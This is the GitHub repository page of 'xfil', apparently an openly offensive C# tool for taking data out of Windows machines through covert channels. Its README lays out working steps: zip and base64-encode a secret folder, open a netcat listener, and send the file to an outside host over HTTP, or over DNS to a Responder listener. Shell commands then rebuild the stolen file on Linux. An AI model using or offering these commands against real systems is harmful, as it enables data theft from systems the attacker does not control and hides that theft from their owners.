Skip to content
/ xfil Public

Simple C# program to exfil data/files through covert channels from windows.

License

Notifications You must be signed in to change notification settings

bryanroma/xfil

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

xfil

Simple C# program to exfiltrate data/files through covert channels from windows to Linux.

Compilation

  • If you are targeting Windows 7 use .NET Framework 3.5 when compiling.
  • If you are targeting Windows 10 use .NET Framework 4.0 when compiling.
  • To use the .exe you need the Ionic.zip.dll too, you can use BoxedAPP to merge them into a standalone .exe ( the release .exe is already merged with this .dll)

Compiled binaries

Check the releases. Only version 0.1 available.

Receive data

Zip and Encode (REQUIRED)

# To exfiltrate files or folders you need to zip them and encode the zip in base64
xfil.exe /encode secret_folder secret.zip

HTTP EXFIL

# Prepare listener to catch the base64
echo -e "HTTP/1.1 200 OK\r\n\r\n<h1>Host is live</h1>" | sudo nc -vl -p 9090
# Windows
xfil.exe /http http://192.168.1.53:9090/ secret.zip.b64

DNS EXFIL

# Listener with responder
sudo ./responder.py  -i IP/iface
# Windows
xfil.exe /dns listener_ip  file.zip.b64
# After getting the xfil save all of the responder output and then parse it to the final exfiltrated file
cat /tmp/respon.dat | awk -F" " '{print $10}' | awk -F"." '{print $2}' | tr -d '\n' >> /tmp/respon2.dat
sed -e 's/SLASH/\//g' -e 's/PLUS/\+/g' -e 's/EQUAL/\=/g' /tmp/respon2.dat | base64 -d >> secret.zip

TO-DO

  • Add xfil through pastebin/onedrive
  • Replace base64+hex with something more efficient (base32) [ DONE ]
  • Add DNS exfil [ DONE ]
  • Add HTTP exfil [ DONE ]
  • Add base64 encoding [ DONE ]

About

Simple C# program to exfil data/files through covert channels from windows.

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages